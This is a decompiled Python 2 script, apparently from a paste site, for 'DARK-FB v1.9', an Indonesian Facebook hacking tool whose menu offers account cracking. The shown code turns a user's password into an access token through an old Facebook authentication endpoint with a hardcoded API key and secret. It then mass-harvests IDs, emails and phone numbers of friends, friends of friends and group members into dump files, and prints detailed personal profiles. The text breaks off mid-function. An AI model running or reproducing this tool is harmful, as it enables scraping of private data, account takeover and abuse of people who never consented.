· 6 years ago · Oct 08, 2019, 12:54 PM
1# uncompyle6 version 3.3.5
2# Python bytecode 2.7
3# Decompiled from: Python 2.7.16 (default, Aug 6 2019, 01:11:15)
4# [GCC 4.2.1 Compatible Android (5220042 based on r346389c) Clang 8.0.7 (https://
5# Embedded file name: dg
6merah = '\x1b[1;90m'
7lime = '\x1b[1;90m'
8kuning = '\x1b[1;90m'
9biru = '\x1b[1;90m'
10ungu = '\x1b[1;90m'
11blue = '\x1b[1;90m'
12putih = '\x1b[1;90m'
13tutup = '\x1b[0m'
14try:
15 import os, sys, time, random, hashlib, re, threading, json, urllib, requests, mechanize, urllib, cookielib, marshal, zlib, base64
16 from multiprocessing.pool import ThreadPool
17 from bs4 import BeautifulSoup as sup
18except Exception as modul:
19 exit(tutup + '[' + merah + '!' + tutup + '] Module Error : ' + str(modul))
20
21reload(sys)
22sys.setdefaultencoding('utf8')
23sex = mechanize.Browser()
24apa = requests.Session()
25sex.set_handle_robots(False)
26sex.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
27sex.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')]
28at = 'Ananda'
29idfriend = []
30idfromfriend = []
31idmem = []
32emteman = []
33emfromfriend = []
34emmem = []
35nofriend = []
36nofromfriend = []
37nomem = []
38berhasil = []
39checkpoint = []
40gagal = []
41back = 0
42threads = []
43auto_total = []
44auto_ok = []
45auto_cp = []
46auto_run = []
47
48wd = '\x1b[90;1m'
49GL = '\x1b[96;1m'
50BB = '\x1b[34;1m'
51YY = '\x1b[33;1m'
52GG = '\x1b[32;1m'
53WW = '\x1b[0;1m'
54RR = '\x1b[31;1m'
55CC = '\x1b[36;1m'
56B = '\x1b[34m'
57Y = '\x1b[33;1m'
58G = '\x1b[32m'
59W = '\x1b[0;1m'
60R = '\x1b[31m'
61C = '\x1b[36;1m'
62merah = '\x1b[1;90m'
63lime = '\x1b[1;90m'
64kuning = '\x1b[1;90m'
65biru = '\x1b[1;90m'
66ungu = '\x1b[1;90m'
67blue = '\x1b[1;90m'
68putih = '\x1b[1;90m'
69tutup = '\x1b[0m'
70
71def runntxt(s):
72 for noobs in s + '\n':
73 sys.stdout.write(noobs)
74 sys.stdout.flush()
75 time.sleep(10.0 / 2100)
76
77
78def tik(s):
79 for noobs in s + '\n':
80 sys.stdout.write(noobs)
81 sys.stdout.flush()
82 time.sleep(10.0 / 200)
83
84def banner():
85 os.system('clear')
86 runntxt(GL + ' ___ ___ ')
87 runntxt(GL + ' ( _< >_ ) ')
88 runntxt(GL + ' // \\\\ ')
89 runntxt(GL + ' \\\\___..___// ')
90 runntxt(GL + " `-( )-' \x1b[0;1m [ \x1b[31mDARK-FB v1.9 \x1b[0;1m]")
91 runntxt(GL + ' _|__|_ ')
92 runntxt(GL + ' /_|__|_\\ \x1b[33;1m* \x1b[36;1mAuthor : \x1b[32mAnanda')
93 runntxt(GL + ' /_|__|_\\ \x1b[33;1m* \x1b[36;1minstagram :\x1b[32m Arekmbois13')
94 runntxt(GL + ' /_\\__/_\\ \x1b[90;1m=====================================')
95 runntxt(GL + ' \\ || / _). ')
96 runntxt(GL + ' || ( ). ')
97 runntxt(GL + ' \\___//. ')
98 runntxt(GL + " `---'")
99
100def login():
101 try:
102 token = open('logs.txt', 'r')
103 menu()
104 except (KeyError, IOError):
105 os.system('clear')
106 banner()
107 print WW + '\n[' + WW + '%' + G + '] LOGIN ACCOUNT FACEBOOK ' + merah + '[' + WW + '%' + WW + ']' + WW
108 usr = raw_input(Y + '[' + GG + '+' + RR + '] Username : ' + YY)
109 pwd = raw_input(Y + '[' + GG + '+' + RR + '] Password : ' + YY)
110 try:
111 sex.open('https://m.facebook.com')
112 except mechanize.URLError:
113 exit(tutup + '[' + GG + '!' + BB + '] Koneksi Error')
114
115 sex._factory.is_html = True
116 sex.select_form(nr=0)
117 sex.form['email'] = usr
118 sex.form['pass'] = pwd
119 sex.submit()
120 ambil = sex.geturl()
121 if 'save-device' in ambil:
122 try:
123 sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=' + usr + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword=' + pwd + 'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32'
124 data = {'api_key': '882a8490361da98702bf97a021ddc14d', 'credentials_type': 'password', 'email': usr, 'format': 'JSON', 'generate_machine_id': '1', 'generate_session_cookies': '1', 'locale': 'en_US', 'method': 'auth.login', 'password': pwd, 'return_ssl_resources': '0', 'v': '1.0'}
125 x = hashlib.new('md5')
126 x.update(sig)
127 a = x.hexdigest()
128 data.update({'sig': a})
129 url = 'https://api.facebook.com/restserver.php'
130 a = requests.get(url, params=data)
131 b = json.loads(a.text)
132 my = open('logs.txt', 'w')
133 my.write(b['access_token'])
134 my.close()
135 print tutup + '[' + C + '+' + YY + '] Login berhasil'
136 os.system('xdg-open https://www.youtube.com/channel/UCXsl522DWoCYxQtmm3eqkpw')
137 menu()
138 except requests.exceptions.ConnectionError:
139 exit(tutup + '[' + YY + '!' + tutup + '] Koneksi Error')
140
141 elif 'checkpoint' in ambil:
142 os.system('rm -rf logs.txt')
143 exit(tutup + '[' + Y + '!' + tutup + '] Checkpoint')
144 else:
145 os.system('rm -rf logs.txt')
146 exit(C + '[' + R + '!' + C + '] Username/Password Incorrect')
147
148
149
150def menu():
151 try:
152 token = open('logs.txt').read()
153 cek = requests.get('https://graph.facebook.com/me?access_token=' + token)
154 a = json.loads(cek.text)
155 nama = a['name']
156 id = a['id']
157 except KeyError:
158 print tutup + '[' + kuning + '!' + tutup + '] Checkpoint'
159 os.system('rm -rf logs.txt')
160 exit(tutup + '[' + merah + '!' + tutup + '] Exit' + tutup)
161 except requests.exceptions.ConnectionError:
162 exit(merah + '[!] No Connection')
163 os.system('clear')
164 banner()
165 print
166 print CC + '[' + G + '$' + G + '] User : ' + CC + nama + GG
167 print
168 print GG + '(' + CC + '01' + GG + ') Informasi Akun Facebook'
169 print GG + '(' + CC + '02' + G + ') Dapatkan ID/Gmail/Nope'
170 print GG + '(' + CC + '03' + G + ') Tool Hack Facebook'
171 print GG + '(' + CC + '04' + G + ') BoT'
172 print GG + '(' + CC + '05' + G + ') Lihat status'
173 print GG + '(' + CC + '06' + G + ') Profile guard'
174 print GG + '(' + CC + '07' + G + ') Group list'
175 print GG + '(' + CC + '08' + G + ') Big crack Akun Facebook'
176 print GG + '(' + CC + '09' + G + ') Chek Akun Yang Terkait di Apps'
177 print GG + '(' + CC + '10' + G + ') Hapus Token'
178 print GG + '(' + CC + '11' + G + ') Info Tools'
179 print GG + '(' + CC + '00' + G + ') Exit'
180 print
181 mana = raw_input(GG + '[' + CC + 'Pilih' + G + ']> ' + lime)
182 if mana == '':
183 exit(tutup + '[' + WW + '!' + tutup + '] Exit' + tutup)
184 elif mana in ('1', '01'):
185 informasi()
186 elif mana in ('2', '02'):
187 dump()
188 elif mana in ('3', '03'):
189 hack()
190 elif mana in ('4', '04'):
191 bot()
192 elif mana in ('5', '05'):
193 status()
194 elif mana in ('6', '06'):
195 guard()
196 elif mana in ('7', '07'):
197 lgrup()
198 elif mana in ('8', '08'):
199 acek()
200 elif mana in ('9', '09'):
201 acekpp()
202 elif mana in ('10', ):
203 os.remove('logs.txt')
204 exit(tutup + '[' + lime + '!' + tutup + '] Berhasil menghapus access token')
205 elif mana in ('11', ):
206 infotools()
207 elif mana in ('0', '00'):
208 exit(tutup + '[' + merah + '!' + tutup + '] Exit' + tutup)
209 else:
210 exit(tutup + '[' + merah + '!' + tutup + '] Exit' + tutup)
211
212def informasi():
213 try:
214 token = open('logs.txt').read()
215 except:
216 print('Token Tidak Ada')
217 print
218 id = raw_input(tutup + '[' + lime + '+' + tutup + '] Search Name or ID : ' + lime)
219 if id == '':
220 print tutup + '[' + merah + '!' + tutup + '] Masukkan' + tutup
221 raw_input(tutup + '\nBack ...')
222 menu()
223 print tutup + '[' + lime + '*' + tutup + '] Searching ...'
224 r = requests.get('https://graph.facebook.com/me/friends?access_token=' + token)
225 q = json.loads(r.text)
226 for i in q['data']:
227 if id in i['name'] or id in i['id']:
228 a = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + token)
229 b = json.loads(a.text)
230 print
231 try:
232 print tutup + '[' + lime + '+' + tutup + '] Name : ' + lime + b['name']
233 except KeyError:
234 pass
235 else:
236 try:
237 print tutup + '[' + lime + '+' + tutup + '] First name : ' + lime + b['first_name']
238 except KeyError:
239 pass
240 else:
241 try:
242 print tutup + '[' + lime + '+' + tutup + '] Middle name : ' + lime + b['middle_name']
243 except KeyError:
244 pass
245 else:
246 try:
247 print tutup + '[' + lime + '+' + tutup + '] Last name : ' + lime + b['last_name']
248 except KeyError:
249 pass
250 else:
251 try:
252 print tutup + '[' + lime + '+' + tutup + '] ID : ' + lime + b['id']
253 except KeyError:
254 pass
255 else:
256 try:
257 print tutup + '[' + lime + '+' + tutup + '] Username : ' + lime + b['username']
258 except KeyError:
259 pass
260 else:
261 try:
262 print tutup + '[' + lime + '+' + tutup + '] Email : ' + lime + b['email']
263 except KeyError:
264 pass
265 else:
266 try:
267 print tutup + '[' + lime + '+' + tutup + '] Mobile phone : ' + lime + b['mobile_phone']
268 except KeyError:
269 pass
270 else:
271 try:
272 print tutup + '[' + lime + '+' + tutup + '] Locale : ' + lime + b['locale'].split('_')[0]
273 except KeyError:
274 pass
275 else:
276 try:
277 print tutup + '[' + lime + '+' + tutup + '] Location : ' + lime + b['location']['name']
278 except KeyError:
279 pass
280 else:
281 try:
282 print tutup + '[' + lime + '+' + tutup + '] Hometown : ' + lime + b['hometown']['name']
283 except KeyError:
284 pass
285 else:
286 try:
287 print tutup + '[' + lime + '+' + tutup + '] Gender : ' + lime + b['gender']
288 except KeyError:
289 pass
290
291 try:
292 print tutup + '[' + lime + '+' + tutup + '] Religion : ' + lime + b['religion']
293 except KeyError:
294 pass
295
296 try:
297 print tutup + '[' + lime + '+' + tutup + '] Political : ' + lime + b['political']
298 except KeyError:
299 pass
300
301 try:
302 print tutup + '[' + lime + '+' + tutup + '] Work : '
303 for i in b['work']:
304 try:
305 print tutup + ' ' + lime + '-' + tutup + ' Position : ' + lime + i['position']['name']
306 except KeyError:
307 pass
308 else:
309 try:
310 print tutup + ' ' + lime + '-' + tutup + ' Employer : ' + lime + i['employer']['name']
311 except KeyError:
312 pass
313 else:
314 try:
315 if i['start_date'] == '0000-00':
316 print tutup + ' ' + lime + '-' + tutup + ' Start date : ' + lime + '---'
317 else:
318 print tutup + ' ' + lime + '-' + tutup + ' Start date : ' + lime + i['start_date']
319 except KeyError:
320 pass
321
322 try:
323 if i['end_date'] == '0000-00':
324 print tutup + ' ' + lime + '-' + tutup + ' End date : ' + lime + '---'
325 else:
326 print tutup + ' ' + lime + '-' + tutup + ' End date : ' + lime + i['end_date']
327 except KeyError:
328 pass
329
330 try:
331 print tutup + ' ' + lime + '-' + tutup + ' Location : ' + lime + i['location']['name']
332 except KeyError:
333 pass
334
335 except KeyError:
336 pass
337
338 try:
339 print tutup + '[' + lime + '+' + tutup + '] Updated time : ' + lime + b['updated_time'][:10] + ' ' + b['updated_time'][11:19]
340 except KeyError:
341 pass
342
343 try:
344 print tutup + '[' + lime + '+' + tutup + '] Languages :'
345 for i in b['languages']:
346 try:
347 print tutup + ' ' + lime + '-' + tutup + ' Languages : ' + lime + i['name']
348 except KeyError:
349 pass
350
351 except KeyError:
352 pass
353
354 try:
355 print tutup + '[' + lime + '+' + tutup + '] Bio : ' + lime + b['bio']
356 except KeyError:
357 pass
358
359 try:
360 print tutup + '[' + lime + '+' + tutup + '] Quotes : ' + lime + b['quotes']
361 except KeyError:
362 pass
363
364 try:
365 print tutup + '[' + lime + '+' + tutup + '] Birthday : ' + lime + b['birthday'].replace('/', '-')
366 except KeyError:
367 pass
368
369 try:
370 print tutup + '[' + lime + '+' + tutup + '] Link : ' + lime + b['link']
371 except KeyError:
372 pass
373
374 try:
375 print tutup + '[' + lime + '+' + tutup + '] School :'
376 for i in b['education']:
377 try:
378 print tutup + ' ' + lime + '-' + tutup + ' School : ' + lime + i['name']
379 except KeyError:
380 pass
381
382 except KeyError:
383 pass
384
385 print tutup + '[' + lime + '+' + tutup + '] Done'
386 raw_input(tutup + '\nEnter returns to the menu ...')
387 menu()
388 else:
389 print tutup + '[' + merah + '!' + tutup + '] Not Found'
390 raw_input(tutup + '\nEnter returns to the menu ...')
391 menu()
392
393
394def dump():
395 try:
396 token = open('logs.txt').read()
397 except:
398 print('Token Tidak Ada')
399 print
400 print tutup + '(' + lime + '01' + tutup + ') Get id friend'
401 print tutup + '(' + lime + '02' + tutup + ') Get id friend from friend'
402 print tutup + '(' + lime + '03' + tutup + ') Get id member group'
403 print tutup + '(' + lime + '04' + tutup + ') Get email friend'
404 print tutup + '(' + lime + '05' + tutup + ') Get email friend from friend'
405 print tutup + '(' + lime + '06' + tutup + ') Get email member group'
406 print tutup + '(' + lime + '07' + tutup + ') Get number phone friend'
407 print tutup + '(' + lime + '08' + tutup + ') Get number phone from friend'
408 print tutup + '(' + lime + '09' + tutup + ') Get number phone member group'
409 print tutup + '(' + merah + '00' + tutup + ') Back'
410 print
411 mana_dump = raw_input(tutup + '[' + lime + 'Croot' + tutup + ']> ' + lime)
412 if mana_dump == '':
413 exit(tutup + '[' + merah + '!' + tutup + '] Exit' + tutup)
414 elif mana_dump in ('1', '01'):
415 id_teman()
416 elif mana_dump in ('2', '02'):
417 id_dariteman()
418 elif mana_dump in ('3', '03'):
419 id_member()
420 elif mana_dump in ('4', '04'):
421 em_teman()
422 elif mana_dump in ('5', '05'):
423 em_dariteman()
424 elif mana_dump in ('6', '06'):
425 em_member()
426 elif mana_dump in ('7', '07'):
427 no_teman()
428 elif mana_dump in ('8', '08'):
429 no_dariteman()
430 elif mana_dump in ('9', '09'):
431 no_member()
432 elif mana_dump in ('0', '00'):
433 menu()
434 else:
435 exit(tutup + '[' + merah + '!' + tutup + '] Exit' + tutup)
436
437def id_teman():
438 try:
439 token = open('logs.txt').read()
440 os.mkdir('dump')
441 except OSError:
442 pass
443 r = requests.get('https://graph.facebook.com/me/friends?access_token=' + token)
444 z = json.loads(r.text)
445 print tutup + '[' + lime + '+' + tutup + '] Fetching id all friend ...' + tutup
446 save = open('dump/id_teman.txt', 'w')
447 for y in z['data']:
448 idfriend.append(y['id'])
449 save.write(y['id'] + '\n')
450 print tutup + '\r[' + lime + '+' + tutup + '] Total : ' + lime + str(len(idfriend)),
451 save.flush()
452 time.sleep(0.0001)
453
454 save.close()
455 print tutup + '\n[' + lime + '+' + tutup + '] Successfully get id friend'
456 done = raw_input(tutup + '[' + lime + '+' + tutup + '] Save file with name : ' + lime)
457 print tutup + '[' + lime + '+' + tutup + '] Create file ...'
458 time.sleep(2)
459 os.rename('dump/id_teman.txt', 'dump/' + done)
460 print tutup + '[' + lime + '+' + tutup + '] File saved : ' + lime + 'dump/' + done + tutup
461 print tutup + '[' + lime + '+' + tutup + '] Selesai ^-^'
462 raw_input(tutup + '\nEnter returns to the menu ...')
463 menu()
464
465
466def id_dariteman():
467 try:
468 token = open('logs.txt').read()
469 os.mkdir('dump')
470 except OSError:
471 pass
472 else:
473 idt = raw_input(tutup + '[' + lime + '+' + tutup + '] Input ID Friend : ' + lime)
474 try:
475 a = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + token)
476 f = json.loads(a.text)
477 print tutup + '[' + blue + '\xe2\x9c\x93' + tutup + '] Get ID From : ' + lime + f['name']
478 except KeyError:
479 print tutup + '[' + merah + '!' + tutup + '] Not Found'
480 raw_input(tutup + '\nEnter returns to the menu ...')
481 menu()
482 r = requests.get('https://graph.facebook.com/' + idt + '?fields=friends.limit(5000)&access_token=' + token)
483 z = json.loads(r.text)
484 print tutup + '[' + lime + '+' + tutup + '] Fetching id all friend from ' + lime + f['name'] + tutup
485 save = open('dump/id_temandariteman.txt', 'w')
486 for y in z['friends']['data']:
487 idfromfriend.append(y['id'])
488 save.write(y['id'] + '\n')
489 print tutup + '\r[' + lime + '+' + tutup + '] Total : ' + lime + str(len(idfromfriend)),
490 save.flush()
491 time.sleep(0.0001)
492
493 save.close()
494 print tutup + '\n[' + lime + '+' + tutup + '] Successfully get id friend from ' + lime + f['name'] + tutup
495 done = raw_input(tutup + '[' + lime + '+' + tutup + '] Save file with name : ' + lime)
496 print tutup + '[' + lime + '+' + tutup + '] Create file ...'
497 time.sleep(2)
498 os.rename('dump/id_temandariteman.txt', 'dump/' + done)
499 print tutup + '[' + lime + '+' + tutup + '] File saved : ' + lime + 'dump/' + done + tutup
500 print tutup + '[' + lime + '+' + tutup + '] Selesai ^-^'
501 raw_input(tutup + '\nEnter returns to the menu ...')
502 menu()
503
504
505def id_member():
506 try:
507 token = open('logs.txt').read()
508 os.mkdir('dump')
509 except OSError:
510 pass
511 else:
512 idg = raw_input(tutup + '[' + lime + '+' + tutup + '] Input ID Group : ' + lime)
513 try:
514 r = requests.get('https://graph.facebook.com/group/?id=' + idg + '&access_token=' + token)
515 s = json.loads(r.text)
516 print tutup + '[' + blue + '\xe2\x9c\x93' + tutup + '] Name Group : ' + lime + s['name'] + tutup
517 except KeyError:
518 print tutup + '[' + merah + '!' + tutup + '] Group Not Found'
519 raw_input(tutup + '\nEnter returns to the menu ...')
520 menu()
521
522 try:
523 print tutup + '[' + lime + '+' + tutup + '] Fetching id from member group ...' + tutup
524 save = open('dump/id_member.txt', 'w')
525
526 def lanjut(urlz):
527 u = requests.get(urlz)
528 hasil = json.loads(u.text)
529 halaman = hasil['paging']
530 for z in hasil['data']:
531 idmem.append(z['id'])
532 save.write(z['id'] + '\n')
533 print tutup + '\r[' + lime + '+' + tutup + '] Total : ' + str(len(idmem)),
534 sys.stdout.flush
535 time.sleep(0.0001)
536
537 if halaman.get('next') is not None:
538 lanjut(halaman.get('next'))
539 return
540
541
542 def ambil():
543 r = requests.get('https://graph.facebook.com/' + idg + '/members?fileds=id&limit=5000&summary=true&access_token=' + token)
544 hasil = json.loads(r.text)
545 halaman = hasil['paging']
546 for z in hasil['data']:
547 idmem.append(z['id'])
548 save.write(z['id'] + '\n')
549
550 if halaman.get('next') is not None:
551 lanjut(halaman.get('next'))
552 return
553
554
555 ambil()
556 save.close()
557 print tutup + '\n[' + lime + '+' + tutup + '] Successfully get id from member group'
558 done = raw_input(tutup + '[' + lime + '+' + tutup + '] Save file with name : ' + lime)
559 print tutup + '[' + lime + '+' + tutup + '] Create file ...'
560 time.sleep(2)
561 os.rename('dump/id_member.txt', 'dump/' + done)
562 print tutup + '[' + lime + '+' + tutup + '] File saved : ' + lime + 'dump/' + done + tutup
563 print tutup + '[' + lime + '+' + tutup + '] Selesai ^-^'
564 raw_input(tutup + '\nEnter returns to the menu ...')
565 menu()
566 except (KeyboardInterrupt, IOError, EOFError, KeyError):
567 save.close()
568 print tutup + '\n[' + lime + '+' + tutup + '] File saved : ' + lime + 'dump/id_member.txt' + tutup
569 print tutup + '[' + lime + '+' + tutup + '] Selesai ^-^'
570 raw_input(tutup + '\nEnter returns to the menu ...')
571 menu()
572 except requests.exceptions.ConnectionError:
573 save.close()
574 print tutup + '\n[' + lime + '+' + tutup + '] File saved : ' + lime + 'dump/id_member.txt' + tutup
575 print tutup + '[' + lime + '+' + tutup + '] Selesai ^-^'
576 raw_input(tutup + '\nEnter returns to the menu ...')
577 menu()
578
579
580def em_teman():
581 try:
582 token = open('logs.txt').read()
583 os.mkdir('dump')
584 except OSError:
585 pass
586 else:
587 try:
588 r = requests.get('https://graph.facebook.com/me/friends?access_token=' + token)
589 a = json.loads(r.text)
590 print tutup + '[' + lime + '+' + tutup + '] Fetching email all friend ...' + tutup
591 save = open('dump/em_teman.txt', 'w')
592 for i in a['data']:
593 x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + token)
594 z = json.loads(x.text)
595 try:
596 emteman.append(z['email'])
597 save.write(z['email'] + '\n')
598 print tutup + '\r[ ' + lime + str(len(emteman)) + tutup + ' ] ' + z['email'] + ' | ' + z['name'] + '\n',
599 sys.stdout.flush()
600 time.sleep(0.0001)
601 except KeyError:
602 pass
603
604 save.close()
605 print tutup + '\n[' + lime + '+' + tutup + '] Successfully get email friend'
606 done = raw_input(tutup + '[' + lime + '+' + tutup + '] Save file with name : ' + lime)
607 print tutup + '[' + lime + '+' + tutup + '] Create file ...'
608 time.sleep(2)
609 os.rename('dump/em_teman.txt', 'dump/' + done)
610 print tutup + '[' + lime + '+' + tutup + '] File saved : ' + lime + 'dump/' + done + tutup
611 print tutup + '[' + lime + '+' + tutup + '] Selesai ^-^'
612 raw_input(tutup + '\nEnter returns to the menu ...')
613 menu()
614 except KeyboardInterrupt:
615 save.close()
616 print tutup + '\n[' + lime + '+' + tutup + '] Successfully get email friend'
617 done = raw_input(tutup + '[' + lime + '+' + tutup + '] Save file with name : ' + lime)
618 print tutup + '[' + lime + '+' + tutup + '] Create file ...'
619 time.sleep(2)
620 os.rename('dump/em_teman.txt', 'dump/' + done)
621 print tutup + '[' + lime + '+' + tutup + '] File saved : ' + lime + 'dump/' + done + tutup
622 print tutup + '[' + lime + '+' + tutup + '] Selesai ^-^'
623 raw_input(tutup + '\nEnter returns to the menu ...')
624 menu()
625
626
627def em_dariteman():
628 try:
629 token = open('logs.txt').read()
630 os.mkdir('dump')
631 except OSError:
632 pass
633 else:
634 idt = raw_input(tutup + '[' + lime + '+' + tutup + '] Input ID Friend : ' + lime)
635 try:
636 r = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + token)
637 p = json.loads(r.text)
638 print tutup + '[' + blue + '\xe2\x9c\x93' + tutup + '] Get Email From : ' + lime + p['name']
639 except KeyError:
640 print tutup + '[' + merah + '!' + tutup + '] Not Found'
641 raw_input(tutup + '\nEnter returns to the menu ...')
642 menu()
643
644 try:
645 r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + token)
646 a = json.loads(r.text)
647 print tutup + '[' + lime + '+' + tutup + '] Fetching email all friend from ' + lime + p['name'] + tutup
648 save = open('dump/em_dariteman.txt', 'w')
649 for i in a['data']:
650 x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + token)
651 z = json.loads(x.text)
652 try:
653 emfromfriend.append(z['email'])
654 save.write(z['email'] + '\n')
655 print tutup + '\r[ ' + lime + str(len(emfromfriend)) + tutup + ' ] ' + z['email'] + ' | ' + z['name'] + '\n',
656 sys.stdout.flush()
657 time.sleep(0.0001)
658 except KeyError:
659 pass
660
661 save.close()
662 print tutup + '\n[' + lime + '+' + tutup + '] Successfully get email friend from ' + lime + p['name'] + tutup
663 done = raw_input(tutup + '[' + lime + '+' + tutup + '] Save file with name : ' + lime)
664 print tutup + '[' + lime + '+' + tutup + '] Create file ...'
665 time.sleep(2)
666 os.rename('dump/em_dariteman.txt', 'dump/' + done)
667 print tutup + '[' + lime + '+' + tutup + '] File saved : ' + lime + 'dump/' + done + tutup
668 print tutup + '[' + lime + '+' + tutup + '] Selesai ^-^'
669 raw_input(tutup + '\nEnter returns to the menu ...')
670 menu()
671 except KeyboardInterrupt:
672 save.close()
673 print tutup + '\n[' + lime + '+' + tutup + '] Successfully get email friend from ' + lime + p['name'] + tutup
674 done = raw_input(tutup + '[' + lime + '+' + tutup + '] Save file with name : ' + lime)
675 print tutup + '[' + lime + '+' + tutup + '] Create file ...'
676 time.sleep(2)
677 os.rename('dump/em_dariteman.txt', 'dump/' + done)
678 print tutup + '[' + lime + '+' + tutup + '] File saved : ' + lime + 'dump/' + done + tutup
679 print tutup + '[' + lime + '+' + tutup + '] Selesai ^-^'
680 raw_input(tutup + '\nEnter returns to the menu ...')
681 menu()
682
683
684def em_member():
685 try:
686 token = open('logs.txt').read()
687 os.mkdir('dump')
688 except OSError:
689 pass
690 else:
691 idg = raw_input(tutup + '[' + lime + '+' + tutup + '] Input ID Group : ' + lime)
692 try:
693 r = requests.get('https://graph.facebook.com/group/?id=' + idg + '&access_token=' + token)
694 s = json.loads(r.text)
695 print tutup + '[' + blue + '\xe2\x9c\x93' + tutup + '] Name Group : ' + lime + s['name'] + tutup
696 except KeyError:
697 print tutup + '[' + merah + '!' + tutup + '] Group Not Found'
698 raw_input(tutup + '\nEnter returns to the menu ...')
699 menu()
700
701 try:
702 print tutup + '[' + lime + '+' + tutup + '] Fetching email from member group ...' + tutup
703 save = open('dump/em_member.txt', 'w')
704 p = requests.get('https://graph.facebook.com/' + idg + '/members?fields=name,id&limit=999999999&access_token=' + token)
705 i = json.loads(p.text)
706 for a in i['data']:
707 x = requests.get('https://graph.facebook.com/' + a['id'] + '?access_token=' + token)
708 z = json.loads(x.text)
709 try:
710 emmem.append(z['email'])
711 save.write(z['email'] + '\n')
712 print tutup + '\r[ ' + lime + str(len(emmem)) + tutup + ' ] ' + z['email'] + ' | ' + z['name'] + '\n',
713 sys.stdout.flush()
714 time.sleep(0.0001)
715 except KeyError:
716 pass
717
718 save.close()
719 print tutup + '\n[' + lime + '+' + tutup + '] Successfully get email from member group'
720 done = raw_input(tutup + '[' + lime + '+' + tutup + '] Save file with name : ' + lime)
721 print tutup + '[' + lime + '+' + tutup + '] Create file ...'
722 time.sleep(2)
723 os.rename('dump/em_member.txt', 'dump/' + done)
724 print tutup + '[' + lime + '+' + tutup + '] File saved : ' + lime + 'dump/' + done + tutup
725 print tutup + '[' + lime + '+' + tutup + '] Selesai ^-^'
726 raw_input(tutup + '\nEnter returns to the menu ...')
727 menu()
728 except KeyboardInterrupt:
729 save.close()
730 print tutup + '\n[' + lime + '+' + tutup + '] Successfully get email from member group'
731 done = raw_input(tutup + '[' + lime + '+' + tutup + '] Save file with name : ' + lime)
732 print tutup + '[' + lime + '+' + tutup + '] Create file ...'
733 time.sleep(2)
734 os.rename('dump/em_member.txt', 'dump/' + done)
735 print tutup + '[' + lime + '+' + tutup + '] File saved : ' + lime + 'dump/' + done + tutup
736 print tutup + '[' + lime + '+' + tutup + '] Selesai ^-^'
737 raw_input(tutup + '\nEnter returns to the menu ...')
738 menu()
739
740
741def no_teman():
742 try:
743 token = open('logs.txt').read()
744 os.mkdir('dump')
745 except OSError:
746 pass
747 else:
748 try:
749 r = requests.get('https://graph.facebook.com/me/friends?access_token=' + token)
750 s = json.loads(r.text)
751 print tutup + '[' + lime + '+' + tutup + '] Fetching number phone all friend ...' + tutup
752 save = open('dump/no_teman.txt', 'w')
753 for i in s['data']:
754 x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + token)
755 z = json.loads(x.text)
756 try:
757 nofriend.append(z['mobile_phone'])
758 save.write(z['mobile_phone'] + '\n')
759 print tutup + '\r[ ' + lime + str(len(nofriend)) + tutup + ' ] ' + z['mobile_phone'] + ' | ' + z['name'] + '\n',
760 sys.stdout.flush()
761 time.sleep(0.0001)
762 except KeyError:
763 pass
764
765 save.close()
766 print tutup + '\n[' + lime + '+' + tutup + '] Successfully get number phone friend'
767 done = raw_input(tutup + '[' + lime + '+' + tutup + '] Save file with name : ' + lime)
768 print tutup + '[' + lime + '+' + tutup + '] Create file ...'
769 time.sleep(2)
770 os.rename('dump/no_teman.txt', 'dump/' + done)
771 print tutup + '[' + lime + '+' + tutup + '] File saved : ' + lime + 'dump/' + done + tutup
772 print tutup + '[' + lime + '+' + tutup + '] Selesai ^-^'
773 raw_input(tutup + '\nEnter returns to the menu ...')
774 menu()
775 except KeyboardInterrupt:
776 save.close()
777 print tutup + '\n[' + lime + '+' + tutup + '] Successfully get number phone friend'
778 done = raw_input(tutup + '[' + lime + '+' + tutup + '] Save file with name : ' + lime)
779 print tutup + '[' + lime + '+' + tutup + '] Create file ...'
780 time.sleep(2)
781 os.rename('dump/no_teman.txt', 'dump/' + done)
782 print tutup + '[' + lime + '+' + tutup + '] File saved : ' + lime + 'dump/' + done + tutup
783 print tutup + '[' + lime + '+' + tutup + '] Selesai ^-^'
784 raw_input(tutup + '\nEnter returns to the menu ...')
785 menu()
786
787
788def no_dariteman():
789 try:
790 token = open('logs.txt').read()
791 os.mkdir('dump')
792 except OSError:
793 pass
794 else:
795 idt = raw_input(tutup + '[' + lime + '+' + tutup + '] Input ID Friend : ' + lime)
796 try:
797 r = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + token)
798 p = json.loads(r.text)
799 print tutup + '[' + blue + '\xe2\x9c\x93' + tutup + '] Get Number From : ' + lime + p['name']
800 except KeyError:
801 print tutup + '[' + merah + '!' + tutup + '] Not Found'
802 raw_input(tutup + '\nEnter returns to the menu ...')
803 menu()
804
805 try:
806 r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + token)
807 a = json.loads(r.text)
808 print tutup + '[' + lime + '+' + tutup + '] Fetching number phone all friend from ' + lime + p['name'] + tutup
809 save = open('dump/no_dariteman.txt', 'w')
810 for i in a['data']:
811 x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + token)
812 z = json.loads(x.text)
813 try:
814 nofromfriend.append(z['mobile_phone'])
815 save.write(z['mobile_phone'] + '\n')
816 print tutup + '\r[ ' + lime + str(len(nofromfriend)) + tutup + ' ] ' + z['mobile_phone'] + ' | ' + z['name'] + '\n',
817 sys.stdout.flush()
818 time.sleep(0.0001)
819 except KeyError:
820 pass
821
822 save.close()
823 print tutup + '\n[' + lime + '+' + tutup + '] Successfully get number phone friend from ' + lime + p['name'] + tutup
824 done = raw_input(tutup + '[' + lime + '+' + tutup + '] Save file with name : ' + lime)
825 print tutup + '[' + lime + '+' + tutup + '] Create file ...'
826 time.sleep(2)
827 os.rename('dump/no_dariteman.txt', 'dump/' + done)
